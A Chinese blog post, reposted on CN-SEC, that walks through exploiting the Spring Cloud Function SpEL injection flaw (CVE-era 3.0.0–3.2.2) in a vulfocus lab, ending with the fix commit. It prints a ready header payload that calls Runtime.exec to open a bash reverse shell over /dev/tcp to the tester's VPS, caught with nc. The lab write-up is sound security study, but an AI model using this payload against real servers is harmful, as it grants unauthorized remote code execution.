Spring Cloud Function SPEL 远程代码执行

admin 2022年6月2日15:28:55安全漏洞评论26 views898字阅读2分59秒阅读模式

产品介绍:

Spring Cloud Function 是基于Spring Boot 的函数计算框架,它抽象出所有传输细节和基础架构,允许开发人员保留所有熟悉的工具和流程,并专注于业务逻辑。


漏洞介绍:

4月Spring Cloud Function组件爆出0day -- SPEL表达式注入导致RCE,官方commit中的test已经公开对应细节。


漏洞原理:

由于Spring Cloud Function中RoutingFunction类的apply方法将请求头中的“spring.cloud.function.routing-expression”参数作为Spel表达式进行处理,造成了Spel表达式注入漏洞,未经授权的远程攻击者可利用该漏洞执行任意代码。


影响版本:

3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2


漏洞复现:

这里采用vulfocus在线靶场


Spring Cloud Function SPEL 远程代码执行


Spring Cloud Function SPEL 远程代码执行


进入页面先访问下functionRouter路径


Spring Cloud Function SPEL 远程代码执行


抓包将其请求方式由GET改成POST

在Host下方添加payload和Content-Type

spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("bash -c {echo,bash -i >&/dev/tcp/ip/端口 0>&1的base64编码形式}|{base64,-d}|{bash,-i}")
Content-Type:application/x-www-form-urlencoded

Spring Cloud Function SPEL 远程代码执行


vps进行nc监听端口


Spring Cloud Function SPEL 远程代码执行


在bp发完包之后,shell也是成功弹了回来


Spring Cloud Function SPEL 远程代码执行


Spring Cloud Function SPEL 远程代码执行


进入tmp目录成功拿下flag!


修复建议:

官方目前发布了修复此漏洞的commit:https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f,可下载官方的修复代码重新编译打包。

原文始发于微信公众号(三零二):Spring Cloud Function SPEL 远程代码执行

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月2日15:28:55
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  Spring Cloud Function SPEL 远程代码执行 http://cn-sec.com/archives/1078866.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: